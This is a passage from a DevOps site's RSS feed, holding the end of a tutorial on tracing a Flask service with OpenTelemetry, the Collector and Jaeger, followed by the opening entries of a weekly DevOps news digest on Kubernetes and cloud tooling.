          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Start with a Flask service that calls a downstream service. Install the SDK plus the auto-instrumentations:</p>
<pre><code class="hljs language-bash">pip install opentelemetry-distro \
            opentelemetry-exporter-otlp \
            opentelemetry-instrumentation-flask \
            opentelemetry-instrumentation-requests

opentelemetry-bootstrap -a install
</code></pre><p>The <code>opentelemetry-bootstrap</code> command scans your installed packages and pulls in matching instrumentations. If you have <code>psycopg2</code> or <code>redis-py</code> installed, it installs those instrumentations too.</p>
<p>Here is the service. It is deliberately small so you can see what is going on:</p>
<pre><code class="hljs language-python"><span class="hljs-comment"># app.py</span>
<span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> Flask, jsonify
<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">from</span> opentelemetry <span class="hljs-keyword">import</span> trace

app = Flask(__name__)
tracer = trace.get_tracer(__name__)

<span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">&quot;/checkout&quot;</span></span>)</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">checkout</span>():
    <span class="hljs-keyword">with</span> tracer.start_as_current_span(<span class="hljs-string">&quot;validate-cart&quot;</span>) <span class="hljs-keyword">as</span> span:
        span.set_attribute(<span class="hljs-string">&quot;cart.items&quot;</span>, <span class="hljs-number">3</span>)
        <span class="hljs-comment"># pretend work</span>
        total = <span class="hljs-number">42.00</span>

    <span class="hljs-keyword">with</span> tracer.start_as_current_span(<span class="hljs-string">&quot;charge&quot;</span>):
        r = requests.post(
            <span class="hljs-string">&quot;http://payments:8000/charge&quot;</span>,
            json={<span class="hljs-string">&quot;amount&quot;</span>: total},
            timeout=<span class="hljs-number">5</span>,
        )
        r.raise_for_status()

    <span class="hljs-keyword">return</span> jsonify(status=<span class="hljs-string">&quot;ok&quot;</span>, total=total)
</code></pre><p>You did not write any tracer setup. Flask and the <code>requests</code> library are auto-instrumented, so the HTTP entry point and the outbound HTTP call already create spans. The two manual spans add business context (<code>validate-cart</code>, <code>charge</code>) so the timeline reads in your language, not the framework&#39;s.</p>
<p>Run it with the OpenTelemetry wrapper:</p>
<pre><code class="hljs language-bash"><span class="hljs-built_in">export</span> OTEL_SERVICE_NAME=checkout-service
<span class="hljs-built_in">export</span> OTEL_EXPORTER_OTLP_ENDPOINT=http://localhost:4317
<span class="hljs-built_in">export</span> OTEL_TRACES_EXPORTER=otlp

opentelemetry-instrument flask run --port 8000
</code></pre><p><code>OTEL_SERVICE_NAME</code> is the one variable people forget. Without it, every service shows up as <code>unknown_service</code> in Jaeger and your traces look like spaghetti.</p>
<h2 id="h2-step-2-run-the-opentelemetry-collector" class="group relative scroll-mt-24">
        <a href="#h2-step-2-run-the-opentelemetry-collector" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 2: Run the OpenTelemetry Collector
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-2-run-the-opentelemetry-collector"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>You could send traces directly from the app to Jaeger. Do not do that in any environment you care about. The Collector sits between your apps and your backend and gives you:</p>
<ul>
<li>A single place to swap backends without redeploying apps</li>
<li>Batching and retry, so a backend outage does not crash your app</li>
<li>Sampling, so you do not pay to store every trace</li>
<li>Attribute filtering, so PII does not leak into your tracing backend</li>
</ul>
<p>Here is a Collector config that accepts OTLP and exports to Jaeger:</p>
<pre><code class="hljs language-yaml"><span class="hljs-comment"># otel-collector-config.yaml</span>
<span class="hljs-attr">receivers:</span>
  <span class="hljs-attr">otlp:</span>
    <span class="hljs-attr">protocols:</span>
      <span class="hljs-attr">grpc:</span>
        <span class="hljs-attr">endpoint:</span> <span class="hljs-number">0.0</span><span class="hljs-number">.0</span><span class="hljs-number">.0</span><span class="hljs-string">:4317</span>
      <span class="hljs-attr">http:</span>
        <span class="hljs-attr">endpoint:</span> <span class="hljs-number">0.0</span><span class="hljs-number">.0</span><span class="hljs-number">.0</span><span class="hljs-string">:4318</span>

<span class="hljs-attr">processors:</span>
  <span class="hljs-attr">batch:</span>
    <span class="hljs-attr">timeout:</span> <span class="hljs-string">1s</span>
    <span class="hljs-attr">send_batch_size:</span> <span class="hljs-number">1024</span>
  <span class="hljs-attr">memory_limiter:</span>
    <span class="hljs-attr">check_interval:</span> <span class="hljs-string">1s</span>
    <span class="hljs-attr">limit_mib:</span> <span class="hljs-number">512</span>

<span class="hljs-attr">exporters:</span>
  <span class="hljs-attr">otlp/jaeger:</span>
    <span class="hljs-attr">endpoint:</span> <span class="hljs-string">jaeger:4317</span>
    <span class="hljs-attr">tls:</span>
      <span class="hljs-attr">insecure:</span> <span class="hljs-literal">true</span>
  <span class="hljs-attr">debug:</span>
    <span class="hljs-attr">verbosity:</span> <span class="hljs-string">basic</span>

<span class="hljs-attr">service:</span>
  <span class="hljs-attr">pipelines:</span>
    <span class="hljs-attr">traces:</span>
      <span class="hljs-attr">receivers:</span> [<span class="hljs-string">otlp</span>]
      <span class="hljs-attr">processors:</span> [<span class="hljs-string">memory_limiter</span>, <span class="hljs-string">batch</span>]
      <span class="hljs-attr">exporters:</span> [<span class="hljs-string">otlp/jaeger</span>, <span class="hljs-string">debug</span>]
</code></pre><p>The <code>memory_limiter</code> processor matters. Without it, a traffic spike on a slow backend will OOM your Collector and you lose every span in flight.</p>
<h2 id="h2-step-3-a-compose-file-that-ties-it-together" class="group relative scroll-mt-24">
        <a href="#h2-step-3-a-compose-file-that-ties-it-together" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 3: A Compose File That Ties It Together
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-3-a-compose-file-that-ties-it-together"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><pre><code class="hljs language-yaml"><span class="hljs-comment"># docker-compose.yml</span>
<span class="hljs-attr">services:</span>
  <span class="hljs-attr">jaeger:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">jaegertracing/all-in-one:1.62</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;16686:16686&quot;</span>   <span class="hljs-comment"># UI</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;4317&quot;</span>          <span class="hljs-comment"># OTLP gRPC (internal)</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">COLLECTOR_OTLP_ENABLED=true</span>

  <span class="hljs-attr">otel-collector:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">otel/opentelemetry-collector-contrib:0.113.0</span>
    <span class="hljs-attr">command:</span> [<span class="hljs-string">&quot;--config=/etc/otel-config.yaml&quot;</span>]
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./otel-collector-config.yaml:/etc/otel-config.yaml</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;4317:4317&quot;</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;4318:4318&quot;</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">jaeger</span>

  <span class="hljs-attr">checkout:</span>
    <span class="hljs-attr">build:</span> <span class="hljs-string">./checkout</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">OTEL_SERVICE_NAME=checkout-service</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">OTEL_EXPORTER_OTLP_ENDPOINT=http://otel-collector:4317</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;8000:8000&quot;</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">otel-collector</span>

  <span class="hljs-attr">payments:</span>
    <span class="hljs-attr">build:</span> <span class="hljs-string">./payments</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">OTEL_SERVICE_NAME=payments-service</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">OTEL_EXPORTER_OTLP_ENDPOINT=http://otel-collector:4317</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">otel-collector</span>
</code></pre><p>Bring it up and hit the endpoint:</p>
<pre><code class="hljs language-bash">docker compose up -d
curl -X POST http://localhost:8000/checkout
</code></pre><p>In the Collector logs you should see something like:</p>
<pre><code class="hljs language-text">2026-05-11T09:14:22.117Z  info  TracesExporter  {&quot;kind&quot;: &quot;exporter&quot;,
  &quot;data_type&quot;: &quot;traces&quot;, &quot;name&quot;: &quot;otlp/jaeger&quot;, &quot;resource spans&quot;: 1,
  &quot;spans&quot;: 4}
</code></pre><p>Four spans for one request: the Flask entry, the two manual spans (<code>validate-cart</code>, <code>charge</code>), and the outbound <code>requests</code> call. Open <code>http://localhost:16686</code>, pick <code>checkout-service</code>, and the trace is there.</p>
<h2 id="h2-step-4-reading-the-trace" class="group relative scroll-mt-24">
        <a href="#h2-step-4-reading-the-trace" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 4: Reading the Trace
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-4-reading-the-trace"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is the part nobody teaches and it is the only part that matters. A trace view in Jaeger looks like a waterfall. Each row is a span. The bar&#39;s width is duration. The bar&#39;s position is when it started.</p>
<p>When you open a slow trace, look for:</p>
<ol>
<li><strong>The fattest bar that has no children.</strong> That is a leaf operation that took real time. Usually a database query, an HTTP call, or a <code>sleep</code>.</li>
<li><strong>Gaps.</strong> A 200ms span where nothing visible is happening means you have uninstrumented code. Add a manual span there.</li>
<li><strong>Sequential spans that could be parallel.</strong> Three 100ms calls in a row are 300ms. The same three calls in parallel are 100ms.</li>
<li><strong>Spans with a red icon.</strong> That is <code>status_code=ERROR</code>. Click and read the <code>exception.message</code> attribute.</li>
</ol>
<p>If the slow span is an HTTP call, the trace will usually include the downstream service&#39;s spans too, because trace context propagates through HTTP headers. If it does not, you have a propagation problem. Check that both services share the same Collector and that the client side library (here, <code>requests</code>) is auto-instrumented.</p>
<h2 id="h2-sampling-you-cannot-keep-everything" class="group relative scroll-mt-24">
        <a href="#h2-sampling-you-cannot-keep-everything" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Sampling: You Cannot Keep Everything
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-sampling-you-cannot-keep-everything"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>At any non-trivial scale, you cannot store every trace. The default is to sample everything in dev and use <strong>tail-based sampling</strong> in prod. Tail-based sampling decides whether to keep a trace after it finishes, so you can keep the slow ones and the error ones and drop the boring ones.</p>
<p>The Collector ships a tail sampling processor:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">processors:</span>
  <span class="hljs-attr">tail_sampling:</span>
    <span class="hljs-attr">decision_wait:</span> <span class="hljs-string">10s</span>
    <span class="hljs-attr">policies:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">errors</span>
        <span class="hljs-attr">type:</span> <span class="hljs-string">status_code</span>
        <span class="hljs-attr">status_code:</span>
          <span class="hljs-attr">status_codes:</span> [<span class="hljs-string">ERROR</span>]
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">slow-requests</span>
        <span class="hljs-attr">type:</span> <span class="hljs-string">latency</span>
        <span class="hljs-attr">latency:</span>
          <span class="hljs-attr">threshold_ms:</span> <span class="hljs-number">1000</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">baseline</span>
        <span class="hljs-attr">type:</span> <span class="hljs-string">probabilistic</span>
        <span class="hljs-attr">probabilistic:</span>
          <span class="hljs-attr">sampling_percentage:</span> <span class="hljs-number">1</span>
</code></pre><p>This keeps every error, every request slower than one second, and a 1% sample of the rest. That gives you enough volume to spot patterns without buying a second house for your observability vendor.</p>
<p>Wire it into the pipeline:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">service:</span>
  <span class="hljs-attr">pipelines:</span>
    <span class="hljs-attr">traces:</span>
      <span class="hljs-attr">receivers:</span> [<span class="hljs-string">otlp</span>]
      <span class="hljs-attr">processors:</span> [<span class="hljs-string">memory_limiter</span>, <span class="hljs-string">tail_sampling</span>, <span class="hljs-string">batch</span>]
      <span class="hljs-attr">exporters:</span> [<span class="hljs-string">otlp/jaeger</span>]
</code></pre><h2 id="h2-things-that-will-bite-you" class="group relative scroll-mt-24">
        <a href="#h2-things-that-will-bite-you" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Things That Will Bite You
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-things-that-will-bite-you"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A few real-world snags worth knowing before you hit them in production:</p>
<ul>
<li><strong>Context not propagating across queues.</strong> Kafka, RabbitMQ, and SQS need extra work. The instrumentation libraries inject trace context into message headers, but only if both producer and consumer are instrumented and the broker preserves headers. Old SQS clients silently drop them.</li>
<li><strong>Async code in Python.</strong> If you use <code>asyncio</code> and your spans look detached from their parent, you are probably starting spans outside the active context. Use <code>tracer.start_as_current_span</code> inside the coroutine, not before awaiting it.</li>
<li><strong>Cardinality on attributes.</strong> Do not put a user ID or a full URL with query string as a span attribute. Use the route template (<code>/users/{id}</code>) instead. High-cardinality attributes blow up the backend&#39;s index.</li>
<li><strong>Clock skew between hosts.</strong> If a child span starts before its parent according to timestamps, that is clock drift, not a bug. Run NTP.</li>
</ul>
<h2 id="h2-next-steps" class="group relative scroll-mt-24">
        <a href="#h2-next-steps" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Next Steps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-next-steps"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Now that you have one service traced, here is what to do next, in order:</p>
<ol>
<li><strong>Instrument the next service in the same request path.</strong> Tracing is most useful when more than one service emits spans for the same request. Two is better than one. Five is better than two.</li>
<li><strong>Add manual spans for business logic.</strong> Auto-instrumentation gives you HTTP and DB spans. Add spans named after what the code actually does (<code>apply-discount</code>, <code>reserve-inventory</code>). Those are the names you will search for at 3 AM.</li>
<li><strong>Set up alerts on trace data.</strong> Most backends can alert on <code>p95(duration) &gt; 2s for route=/checkout</code>. That is far more useful than CPU alerts.</li>
<li><strong>Add resource attributes.</strong> <code>deployment.environment</code>, <code>service.version</code>, and <code>k8s.pod.name</code> make traces useful for incident response. Set them via <code>OTEL_RESOURCE_ATTRIBUTES</code>.</li>
<li><strong>Pick a long-term backend.</strong> Jaeger all-in-one is great for local. For production, look at Tempo, Honeycomb, or a managed Jaeger. The Collector config stays the same. You only swap the exporter.</li>
</ol>
<p>The moment you have two services in one trace and you can see exactly where the latency lives, the value of distributed tracing clicks. Before that, it feels like a chore. After that, you will not go back.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[DevOps Weekly Digest - Week 20, 2026]]></title>
      <link>https://devops-daily.com/news/2026-week-20</link>
      <description><![CDATA[⚡ Curated updates from Kubernetes, cloud native tooling, CI/CD, IaC, observability, and security - handpicked for DevOps professionals!]]></description>
      <pubDate>Mon, 11 May 2026 00:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/news/2026-week-20</guid>
      <category><![CDATA[DevOps News]]></category>
      <content:encoded><![CDATA[<blockquote>
<p>📌 <strong>Handpicked by DevOps Daily</strong> - Your weekly dose of curated DevOps news and updates!</p>
</blockquote>
<hr>
<h2 id="h2-kubernetes" class="group relative scroll-mt-24">
        <a href="#h2-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ⚓ Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-how-to-get-engineering-time-back-from-kubernetes-upgrades" class="group relative scroll-mt-24">
        <a href="#h3-how-to-get-engineering-time-back-from-kubernetes-upgrades" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to get engineering time back from Kubernetes upgrades
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-get-engineering-time-back-from-kubernetes-upgrades"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Kubernetes powers your products, but with that power and flexibility comes organizational challenges around managing complexity and maintenance. It can be tough for an organization to keep up with the</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/05/11/how-to-get-engineering-time-back-from-kubernetes-upgrades/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-breaking-free-a-step-by-step-guide-to-migrating-from-red-hat-openshift-to-suse-rancher-prime" class="group relative scroll-mt-24">
        <a href="#h3-breaking-free-a-step-by-step-guide-to-migrating-from-red-hat-openshift-to-suse-rancher-prime" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Breaking Free: A Step-by-Step Guide to Migrating from Red Hat OpenShift to SUSE Rancher Prime
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-breaking-free-a-step-by-step-guide-to-migrating-from-red-hat-openshift-to-suse-rancher-prime"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The enterprise container market is hitting a turning point. For years, Red Hat OpenShift was the choice for organizations wanting an all-in-one Kubernetes platform. However, the tide has turned as bus</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/breaking-free-a-step-by-step-guide-to-migrating-from-red-hat-openshift-to-suse-rancher-prime/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubernetes-v136-moving-volume-group-snapshots-to-ga" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-v136-moving-volume-group-snapshots-to-ga" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes v1.36: Moving Volume Group Snapshots to GA
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-v136-moving-volume-group-snapshots-to-ga"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Volume group snapshots were introduced as an Alpha feature with the Kubernetes v1.27 release, moved to Beta in v1.32, and to a second Beta in v1.34. We are excited to announce that in the Kubernetes v</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/05/08/kubernetes-v1-36-volume-group-snapshot-ga/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-with-faster-node-startup-for-gke-say-goodbye-to-cold-start-latency" class="group relative scroll-mt-24">
        <a href="#h3-with-faster-node-startup-for-gke-say-goodbye-to-cold-start-latency" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 With faster node startup for GKE, say goodbye to cold-start latency
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-with-faster-node-startup-for-gke-say-goodbye-to-cold-start-latency"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We’ve rolled out a significant update to Google Kubernetes Engine (GKE) that solves one of the most annoying problems in cloud infrastructure: cold start latency. GKE now has up to 4x faster node star</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/containers-kubernetes/gke-node-startup-gets-faster/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gradual-deployments-in-amazon-ecs-with-linear-and-canary-strategies" class="group relative scroll-mt-24">
        <a href="#h3-gradual-deployments-in-amazon-ecs-with-linear-and-canary-strategies" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Gradual deployments in Amazon ECS with linear and canary strategies
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gradual-deployments-in-amazon-ecs-with-linear-and-canary-strategies"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this post, we walk through how linear and canary strategies work in Amazon ECS, how to configure each, and how to set up automatic rollbacks with CloudWatch alarms.</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/gradual-deployments-in-amazon-ecs-with-linear-and-canary-strategies/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-benchmarking-ai-agent-retrieval-strategies-on-kubernetes-bug-fixes" class="group relative scroll-mt-24">
        <a href="#h3-benchmarking-ai-agent-retrieval-strategies-on-kubernetes-bug-fixes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Benchmarking AI agent retrieval strategies on Kubernetes bug fixes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-benchmarking-ai-agent-retrieval-strategies-on-kubernetes-bug-fixes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I’ve been using AI coding agents as part of my daily engineering workflow and wanted to understand how well they actually perform on real-world bugs. To test this, I ran a series of structured experim</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
